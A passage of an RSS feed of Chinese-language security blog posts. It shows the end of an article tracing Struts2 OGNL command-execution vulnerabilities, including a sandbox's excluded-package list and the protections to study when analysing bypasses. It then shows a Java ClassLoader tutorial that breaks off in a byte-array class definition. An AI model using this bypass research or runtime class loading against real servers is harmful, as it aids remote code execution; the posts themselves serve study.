freemarker.template., freemarker.ext.jsp.,</span></p><p><span class="code-snippet_outer">            freemarker.ext.rhino.,</span></p><p><span class="code-snippet_outer">            sun.misc., sun.reflect., javassist.,</span></p><p><span class="code-snippet_outer">            org.apache.velocity., org.objectweb.asm.,</span></p><p><span class="code-snippet_outer">            org.springframework.context.,</span></p><p><span class="code-snippet_outer">            com.opensymphony.xwork2.inject.,</span></p><p><span class="code-snippet_outer">            com.opensymphony.xwork2.ognl.,</span></p><p><span class="code-snippet_outer">            com.opensymphony.xwork2.security.,</span></p><p><span class="code-snippet_outer">            com.opensymphony.xwork2.util.,</span></p><p><span class="code-snippet_outer">            org.apache.tomcat., org.apache.catalina.core.,</span></p><p><span class="code-snippet_outer">            com.ibm.websphere., org.apache.geronimo.,</span></p><p><span class="code-snippet_outer">            org.apache.openejb., org.apache.tomee.,</span></p><p><span class="code-snippet_outer">            org.eclipse.jetty., org.mortbay.jetty.,</span></p><p><span class="code-snippet_outer">            org.glassfish., org.jboss.as., org.wildfly., weblogic.,&#34; /&gt;</span></p></pre></p><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">把中间件的包都给屏蔽了 orz …</span></p><div data-tools="135编辑器" data-id="101593"><div style="margin-top: 10px;margin-bottom: 10px;text-align: center;"><div style="display: inline-block;background-color: #eaf0f8;"><div style="display: inline-block;border-width: 1px;border-style: solid;border-color: rgb(52, 110, 183);margin-right: 5px;margin-bottom: 5px;box-sizing: border-box;"><p style="display: inline-block;font-size: 16px;letter-spacing: 1.5px;font-weight: bold;line-height: 1.75em;color: rgb(52, 110, 183);padding-right: 0.2em;padding-left: 0.2em;background-color: rgb(255, 255, 255);box-sizing: border-box;">05</p><p data-brushtype="text" style="display: inline-block;font-size: 16px;color: rgb(52, 110, 183);font-weight: bold;letter-spacing: 1.5px;line-height: 1.75em;padding-right: 0.5em;padding-left: 0.1em;box-sizing: border-box;" hm_fix="339:262">结语</p></div></div></div></div><p style="text-align:left;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">这篇文章主要根据 struts2 版本更新将其命令执行系列漏洞顺了一遍。struts2 框架在执行命令时主要防护机制是 SecurityMemberAccess 中的策略，以及对应使用的 ognl jar 包中的一些变化，分析时可以重点关注这两地方。另外到了 struts2.5.26 版本感觉官方将该补的都补了，但还是期待新 PoC 的出现。</span></p><div data-tools="135编辑器" data-id="101593"><div style="margin-top: 10px;margin-bottom: 10px;text-align: center;"><div style="display: inline-block;background-color: #eaf0f8;"><div style="display: inline-block;border-width: 1px;border-style: solid;border-color: rgb(52, 110, 183);margin-right: 5px;margin-bottom: 5px;box-sizing: border-box;"><p style="display: inline-block;font-size: 16px;letter-spacing: 1.5px;font-weight: bold;line-height: 1.75em;color: rgb(52, 110, 183);padding-right: 0.2em;padding-left: 0.2em;background-color: rgb(255, 255, 255);box-sizing: border-box;">06</p><p data-brushtype="text" style="display: inline-block;font-size: 16px;color: rgb(52, 110, 183);font-weight: bold;letter-spacing: 1.5px;line-height: 1.75em;padding-right: 0.5em;padding-left: 0.1em;box-sizing: border-box;" hm_fix="327:254">参考链接</p></div></div></div></div><p style="text-align:left;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 15px;">[1] 《Struts2 技术内幕——深入解析Struts2架构设计与实现原理》</span></p><p style="text-align:left;"><span style="font-size: 15px;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">[2] </span><a href="https://securitylab.githu" target="_blank">https://securitylab.githu</a></span><span style="font-size: 15px;">b.com/research/ognl-apache-struts-exploit-CVE-2018-11776/</span></p><p style="text-align:left;"><span style="font-size: 15px;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">[3] </span><a href="https://cwiki.apache.org/confluence/display/WW/Security+Bulletins" target="_blank">https://cwiki.apache.org/confluence/display/WW/Security+Bulletins</a></span></p><p style="text-align:left;"><span style="font-size: 15px;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">[4] </span><a href="https://github.com/vulhub/vulhub/tree/master/struts2" target="_blank">https://github.com/vulhub/vulhub/tree/master/struts2</a></span></p><p style="text-align:left;"><span style="font-size: 15px;"><span style="font-size: 15px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">[5] </span><a href="https://mp.weixin.qq.com/s/RD2HTMn-jFxDIs4-X95u6g" target="_blank">https://mp.weixin.qq.com/s/RD2HTMn-jFxDIs4-X95u6g</a></span></p></div>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e53188e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FEkibxOB3fs4icwQQAZE6MBepadE7zAutkviaEmicgZWqGCPAvRDxD3EhVvrLJQckeqTGqC7Hmc08MTUxXeaMq5pVXw%2F640%3Fwx_fmt%3Dgif"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e53188e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FEkibxOB3fs4icwQQAZE6MBepadE7zAutkviaEmicgZWqGCPAvRDxD3EhVvrLJQckeqTGqC7Hmc08MTUxXeaMq5pVXw%2F640%3Fwx_fmt%3Dgif"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=53467415&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEkibxOB3fs4ic6iaEYB4H7GiaHGjIK1lGjcMibnibFicmkEqq9fo1GLt3UVkUkb0DMkdm5RmeWqGsUHckaQFhZRQZCiaAQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=2bf3097f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEkibxOB3fs4ic6iaEYB4H7GiaHGjIK1lGjcMQj4dBg2xz29INhfSsYibaT8uDw2qJO5MGI7Ufm4wLdre9Iddd65sErw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=dfc67e5e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEkibxOB3fs4ic6iaEYB4H7GiaHGjIK1lGjcMcw10KNe7CPEGR2ibFDArKgP8A2CXZkUgpkSTnZKJWvPnrALicmmlcdHA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=580f74d7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEkibxOB3fs4ic6iaEYB4H7GiaHGjIK1lGjcMwLR9W2Gy3muBKGxfkhqaUnictEjl54fibTQmicksthf3jmUkJh0WteuOQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=60d4bec1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEkibxOB3fs4ic6iaEYB4H7GiaHGjIK1lGjcMBG5rOff4hIjQTGib4k143OJYPcKWuibQ0MYfUESg8VNha0qmDuB3uLWQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=fcc4301d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEkibxOB3fs4ic6iaEYB4H7GiaHGjIK1lGjcMAIWlMrpib0MVNQ104TdphqX2gc8xJTz1OkJvaEysianrg4qKgm5Pv8lw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=abd74713&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEkibxOB3fs4ic6iaEYB4H7GiaHGjIK1lGjcMxVoCjR9X4y7j2eBaBeQ7mcUiatp6DSFLVucD9ibl4KbT2ic0fL1w15vjw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=f93d7614&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FEkibxOB3fs4ic6iaEYB4H7GiaHGjIK1lGjcMNJNgxiaZMibIutkUUzDia8E2iadQjfKP0T680fAoXpCSkFOs5zYOPV4qtw%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=9500ee22&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEkibxOB3fs4ic6iaEYB4H7GiaHGjIK1lGjcMg8ttJVEk5f2xfFUQ8fiarJeR425ibBFnicTwW4UKuLFI4ibWK9y5zWUy8Q%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247484181">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=57907502&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5ODE3NTU1OQ%3D%3D%26mid%3D2247484181%26idx%3D1%26sn%3D383b9aa60a94117d2e262bc873d3bf7c">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 22 Apr 2021 20:21:00 +0800</pubDate>
    </item>
    <item>
      <title>ClassLoader 详解 - 论如何使用 ClassLoader 加载自定义类</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5ODE3NTU1OQ==&amp;mid=2247484176&amp;idx=1&amp;sn=616fa52da0f520aaaa77735ee112031c</link>
      <description>得补 java 基础。很多 java 特性之前没有碰到过的。</description>
      <content:encoded><![CDATA[<p>
原创 <span>medi0cr1ty</span> <span>2021-04-02 21:00</span> <span style="display: inline-block;"></span>
</p>

<p>得补 java 基础。很多 java 特性之前没有碰到过的。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=6438ead8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWgqq2ZUsWv1gHjjX6gVgZ9kFd1rEJ9s2jYVicBf0lDlf3l1Jzl7QL5C8EFxdFRNs4qNUlggZJ6f63Q%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div style="box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;font-size: 16px;"><div style="box-sizing: border-box;" powered-by="xiumi.us"><div style="display: flex;flex-flow: row nowrap;margin: 10px 0%;box-sizing: border-box;"><div style="display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;line-height: 0;margin: 0px;box-sizing: border-box;"><div style="transform: rotateZ(330deg);-webkit-transform: rotateZ(330deg);-moz-transform: rotateZ(330deg);-o-transform: rotateZ(330deg);box-sizing: border-box;" powered-by="xiumi.us"><div style="text-align: center;margin: 10px 0% -30px;transform: translate3d(6px, 0px, 0px);-webkit-transform: translate3d(6px, 0px, 0px);-moz-transform: translate3d(6px, 0px, 0px);-o-transform: translate3d(6px, 0px, 0px);box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 60px;height: auto;box-sizing: border-box;"><img data-ratio="0.4203704" data-w="1080" data-type="png" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=a7cb2716&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fu6DsFt2nYywiamb53ghsibQ8iamZ6GHJ0W5s7egvGhHzLtgeOKT3KLLQlyWMfzYzrciaUYVTia4QrWewZO87LlNRQ3A%2F640%3Fwx_fmt%3Dpng"/></p></div></div><div style="text-align: center;box-sizing: border-box;" powered-by="xiumi.us"><div style="display: inline-block;width: 40px;height: 40px;vertical-align: top;overflow: hidden;background-color: rgb(243, 243, 241);border-width: 0px;border-radius: 110px;border-style: none;border-color: rgb(62, 62, 62);box-sizing: border-box;"><p><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div><div style="display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;box-sizing: border-box;"><div style="box-sizing: border-box;" powered-by="xiumi.us"><div style="display: flex;flex-flow: row nowrap;transform: translate3d(7px, 0px, 0px);-webkit-transform: translate3d(7px, 0px, 0px);-moz-transform: translate3d(7px, 0px, 0px);-o-transform: translate3d(7px, 0px, 0px);box-sizing: border-box;"><div style="display: inline-block;vertical-align: bottom;width: auto;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: flex-end;box-sizing: border-box;"><div style="font-size: 14px;color: rgb(127, 127, 127);font-family: Optima-Regular, PingFangTC-light;letter-spacing: 1px;padding: 0px;line-height: 1;box-sizing: border-box;" powered-by="xiumi.us"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">ClassLoder 介绍</p></div></div><div style="display: inline-block;vertical-align: bottom;width: auto;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: flex-end;line-height: 0;margin: 0px 34px 0px 7px;box-sizing: border-box;"><div style="text-align: center;box-sizing: border-box;" powered-by="xiumi.us"><div style="display: inline-block;width: 9px;height: 9px;vertical-align: top;overflow: hidden;border-width: 0px;border-radius: 100px;border-style: none;border-color: rgb(62, 62, 62);background-color: rgb(232, 232, 231);box-sizing: border-box;"><p><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div></div></div><div style="transform: perspective(0px);-webkit-transform: perspective(0px);-moz-transform: perspective(0px);-o-transform: perspective(0px);transform-style: flat;box-sizing: border-box;" powered-by="xiumi.us"><div style="margin: 7px 0% 8px;transform: translate3d(-25px, 0px, 0px) rotateY(180deg);-webkit-transform: translate3d(-25px, 0px, 0px) rotateY(180deg);-moz-transform: translate3d(-25px, 0px, 0px) rotateY(180deg);-o-transform: translate3d(-25px, 0px, 0px) rotateY(180deg);box-sizing: border-box;"><div style="background-color: rgb(184, 184, 184);height: 1px;box-sizing: border-box;"><p><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div></div></div></div><div style="font-size: 14px;box-sizing: border-box;" powered-by="xiumi.us"><p style="text-indent: 2em;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">ClassLoader 的主要作用是 Java 类文件的加载。默认的类加载器是 AppClassLoader 应用程序类加载器（加载用户类路径 classpath 下的类库）。</p><p style="text-indent: 2em;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">【除此之外还有<strong style="box-sizing: border-box;"> Bootstrap ClassLoader </strong>启动类加载器（将 JDK\jre\lib 目录下的类库加载到虚拟机内存，用来加载 java 核心库，并不继承自 java.lang.ClassLoader ，是虚拟机自身的一部分，无法被 java 程序直接引用）；以及<strong style="box-sizing: border-box;"> Extension ClassLoader</strong> 扩展类加载器（将 JDK\jre\lib\ext 下的类库加载到虚拟机内存，即加载 java 的扩展库）。】</p><p style="text-indent: 2em;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">java 程序在运行时需要先编译成 class 文件，JVM 在执行 java 类之前会先解析 class 的二进制内容，JVM 执行的其实是 javap 命令生成的字节码 （ByteCode）。（可用程序生成 class 文件的字节码） java 类在进行初始化时会调用 java.lang.ClassLoder 加载类字节码。</p><p style="text-indent: 2em;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">ClassLoader 类的核心方法：</p></div><p style="box-sizing: border-box;" powered-by="xiumi.us"><ul class="list-paddingleft-2" style="list-style-type: square;box-sizing: border-box;"><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;">loadClass - 加载指定的 java 类</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;">findClass - 查找指定的 java 类</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;">findLoadedClass - 查找 JVM 已经加载过的 java 类</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;">defineClass - 定义一个 java 类</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;">resolveClass - 链接指定的 java 类</span></p></li></ul></p><div style="font-size: 14px;box-sizing: border-box;" powered-by="xiumi.us"><p style="text-indent: 2em;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"> java 类加载可分为 <strong style="box-sizing: border-box;">显式</strong> 及 <strong style="box-sizing: border-box;">隐式</strong> ，显式即通过<strong style="box-sizing: border-box;"> java 反射</strong> 或 <strong style="box-sizing: border-box;">ClassLoader </strong>来动态加载一个类对象，隐式则是指通过 <strong style="box-sizing: border-box;">类名.方法名()</strong> 或 <strong style="box-sizing: border-box;">new 类实例</strong> 时进行 java 类加载。</p><p style="text-indent: 2em;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">java 反射：</p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="ruby"><p><span class="code-snippet_outer">Class.forName(<span class="code-snippet__string">&#34;org.example.App&#34;</span>);  <span class="code-snippet__regexp">//</span> 默认会加载类的静态属性及方法（不想初始化类则：Class.forName(<span class="code-snippet__string">&#34;类名&#34;</span>, 是否初始化, 类加载器)）</span></p></pre></p><p style="text-indent: 2em;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">ClassLoder 加载：</p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="kotlin"><p><span class="code-snippet_outer"><span class="code-snippet__keyword">this</span>.getClass().getClassLoader().loadClass(<span class="code-snippet__string">&#34;org.example.App&#34;</span>);  <span class="code-snippet__comment">// 默认不会加载静态属性及方法</span></span></p></pre></p><p style="text-indent: 2em;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">通过 <span style="font-size: 14px;text-indent: 28px;">ClassLoader</span> 的 <strong style="box-sizing: border-box;">loadClass(&#34;org.example.App&#34;)</strong>  <span style="font-size: 14px;text-indent: 28px;">加载流程：</span>首先通过<strong style="box-sizing: border-box;"> findLoadedClass </strong>找该类是否已经初始化，如已经初始化则直接返回对象，若没有则依次向上通过父类加载器进行加载（如果配置了的话，没配置就使用 JVM 的 Bootstrap ClassLoader 进行加载）。如果Bootstrap ClassLoader 没法加载再由父类加载器依次向下加载，如果还没加载到，则调用 <strong style="box-sizing: border-box;">findClass </strong>方法尝试加载，在 ClassLoader 中 findClass 会抛出 ClassNotFoundException 异常，所以当前 ClassLoader 如果没有重写 findClass 方法那么就会抛出异常退出，重写了则通过传入的类名找到对应的类字节码，接着通过 <strong style="box-sizing: border-box;">defineClass</strong> 将该类注册到 JVM 中。如果调用 loadClass 方法时传入的 resolve 参数为 true ，那么还需要调用 <strong style="box-sizing: border-box;">resolveClass </strong>方法去链接类，默认为 false 。再然后就返回一个被 JVM 加载后的类了。</p></div><div style="box-sizing: border-box;" powered-by="xiumi.us"><div style="display: flex;flex-flow: row nowrap;margin: 10px 0%;box-sizing: border-box;"><div style="display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;line-height: 0;margin: 0px;box-sizing: border-box;"><div style="transform: rotateZ(330deg);-webkit-transform: rotateZ(330deg);-moz-transform: rotateZ(330deg);-o-transform: rotateZ(330deg);box-sizing: border-box;" powered-by="xiumi.us"><div style="text-align: center;margin: 10px 0% -30px;transform: translate3d(6px, 0px, 0px);-webkit-transform: translate3d(6px, 0px, 0px);-moz-transform: translate3d(6px, 0px, 0px);-o-transform: translate3d(6px, 0px, 0px);box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 60px;height: auto;box-sizing: border-box;"><img data-ratio="0.4203704" data-w="1080" data-type="png" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=a7cb2716&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fu6DsFt2nYywiamb53ghsibQ8iamZ6GHJ0W5s7egvGhHzLtgeOKT3KLLQlyWMfzYzrciaUYVTia4QrWewZO87LlNRQ3A%2F640%3Fwx_fmt%3Dpng"/></p></div></div><div style="text-align: center;box-sizing: border-box;" powered-by="xiumi.us"><div style="display: inline-block;width: 40px;height: 40px;vertical-align: top;overflow: hidden;background-color: rgb(243, 243, 241);border-width: 0px;border-radius: 110px;border-style: none;border-color: rgb(62, 62, 62);box-sizing: border-box;"><p><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div><div style="display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;box-sizing: border-box;"><div style="box-sizing: border-box;" powered-by="xiumi.us"><div style="display: flex;flex-flow: row nowrap;transform: translate3d(7px, 0px, 0px);-webkit-transform: translate3d(7px, 0px, 0px);-moz-transform: translate3d(7px, 0px, 0px);-o-transform: translate3d(7px, 0px, 0px);box-sizing: border-box;"><div style="display: inline-block;vertical-align: bottom;width: auto;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: flex-end;box-sizing: border-box;"><div style="font-size: 14px;color: rgb(127, 127, 127);font-family: Optima-Regular, PingFangTC-light;letter-spacing: 1px;padding: 0px;line-height: 1;box-sizing: border-box;" powered-by="xiumi.us"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">实现使用 ClassLoader 来加载我们的自定义类</p></div></div><div style="display: inline-block;vertical-align: bottom;width: auto;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: flex-end;line-height: 0;margin: 0px 34px 0px 7px;box-sizing: border-box;"><div style="text-align: center;box-sizing: border-box;" powered-by="xiumi.us"><div style="display: inline-block;width: 9px;height: 9px;vertical-align: top;overflow: hidden;border-width: 0px;border-radius: 100px;border-style: none;border-color: rgb(62, 62, 62);background-color: rgb(232, 232, 231);box-sizing: border-box;"><p><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div></div></div><div style="transform: perspective(0px);-webkit-transform: perspective(0px);-moz-transform: perspective(0px);-o-transform: perspective(0px);transform-style: flat;box-sizing: border-box;" powered-by="xiumi.us"><div style="margin: 7px 0% 8px;transform: translate3d(-25px, 0px, 0px) rotateY(180deg);-webkit-transform: translate3d(-25px, 0px, 0px) rotateY(180deg);-moz-transform: translate3d(-25px, 0px, 0px) rotateY(180deg);-o-transform: translate3d(-25px, 0px, 0px) rotateY(180deg);box-sizing: border-box;"><div style="background-color: rgb(184, 184, 184);height: 1px;box-sizing: border-box;"><p><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div></div></div></div></div><div style="font-size: 14px;box-sizing: border-box;" powered-by="xiumi.us"><p style="text-indent: 2em;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">根据前面的基础装备配置，我们就可以逐步实现使用 ClassLoader 来加载我们的自定义类啦。</p><p style="text-indent: 2em;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">前面有提到如果我们自定义类不存在于 classpath 中，ClassLoader 加载时会抛出异常，那么我们可以选择自定义一个类加载器重写 findClass 方法，也可以找一个重写了 findClass 方法的 ClassLoader 子类。再调用 defineClass 方法将自定义类注册进去，接着就可以通过反射调用类方法了。</p></div><div style="text-align: center;margin: 10px 0% -40px;transform: translate3d(6px, 0px, 0px);-webkit-transform: translate3d(6px, 0px, 0px);-moz-transform: translate3d(6px, 0px, 0px);-o-transform: translate3d(6px, 0px, 0px);box-sizing: border-box;" powered-by="xiumi.us"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 55px;height: auto;box-sizing: border-box;"><img data-ratio="0.6694444" data-w="1080" data-type="png" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=cbe26bc8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6AVpdn5eJwaYr11FgKicIot81oatCYNhHBnNSZB90SIsJJcTcqPiaQJjzLULibr5WTj3K8WZCymDv79fohjrDf54Q%2F640%3Fwx_fmt%3Dpng"/></p></div><div style="margin: 20px 0%;text-align: center;justify-content: center;box-sizing: border-box;" powered-by="xiumi.us"><div style="display: inline-block;width: 100%;vertical-align: top;border-width: 1px;border-style: solid;border-color: rgb(127, 127, 127);padding: 0px 4px;height: auto;line-height: 0;box-sizing: border-box;"><div style="box-sizing: border-box;" powered-by="xiumi.us"><div style="justify-content: center;margin: -7px 0%;display: flex;flex-flow: row nowrap;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;height: auto;background-color: rgb(243, 243, 241);padding: 0px;border-width: 0px;border-radius: 5px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;flex: 0 0 auto;align-self: flex-start;line-height: 0;box-sizing: border-box;"><div style="margin: 15px 0%;box-sizing: border-box;" powered-by="xiumi.us"><div style="text-align: justify;font-size: 14px;color: rgb(127, 127, 127);padding: 0px 12px;letter-spacing: 1px;line-height: 1.8;font-family: Optima-Regular, PingFangTC-light;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">01、自定义类加载器</p></div></div></div></div></div></div></div><div style="font-size: 14px;box-sizing: border-box;" powered-by="xiumi.us"><p style="text-indent: 2em;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="text-indent: 2em;box-sizing: border-box;">我们看一下自定义一个类加载器实现此效果：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="typescript"><p><span class="code-snippet_outer">package org.example;</span></p><p></p><p><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.lang.reflect.Constructor;</span></p><p></p><p><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">class</span> LoadSelfClass <span class="code-snippet__keyword">extends</span> ClassLoader {</span></p><p><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__built_in">String</span> className = <span class="code-snippet__string">&#34;org.example.App&#34;</span>;</span></p><p></p><p><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> byte[] classByteCodes = <span class="code-snippet__keyword">new</span> byte[]{</span></p><p><span class="code-snippet_outer">            <span class="code-snippet__number">-54</span>,<span class="code-snippet__number">-2</span>,<span class="code-snippet__number">-70</span>,<span class="code-snippet__number">-66</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">51</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">42</span>,<span class="code-snippet__number">10</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">10</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">24</span>,<span class="code-snippet__number">9</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">25</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">26</span>,<span class="code-snippet__number">8</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">27</span>,<span class="code-snippet__number">10</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">28</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">29</span>,<span class="code-snippet__number">8</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">30</span>,<span class="code-snippet__number">8</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">31</span>,<span class="code-snippet__number">9</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">9</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">32</span>,<span class="code-snippet__number">8</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">33</span>,<span class="code-snippet__number">7</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">34</span>,<span class="code-snippet__number">7</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">35</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">4</span>,<span class="code-snippet__number">110</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">109</span>,<span class="code-snippet__number">101</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">18</span>,<span class="code-snippet__number">76</span>,<span class="code-snippet__number">106</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">118</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">47</span>,<span class="code-snippet__number">108</span>,<span class="code-snippet__number">97</span>,<span class="code-snippet__number">110</span>,<span class="code-snippet__number">103</span>,<span class="code-snippet__number">47</span>,<span class="code-snippet__number">83</span>,<span class="code-snippet__number">116</span>,<span class="code-snippet__number">114</span>,<span class="code-snippet__number">105</span>,<span class="code-snippet__number">110</span>,<span class="code-snippet__number">103</span>,<span class="code-snippet__number">59</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span class="code-snippet__number">6</span>,<span class="code-snippet__number">60</span>,<span class="code-snippet__number">105</span>,<span class="code-snippet__number">110</span>,<span class="code-snippet__number">105</span>,<span class="code-snippet__number">116</span>,<span class="code-snippet__number">62</span>,<span class="code-snippet__number">1</span>,<span class="code-snippet__number">0</span>,<span 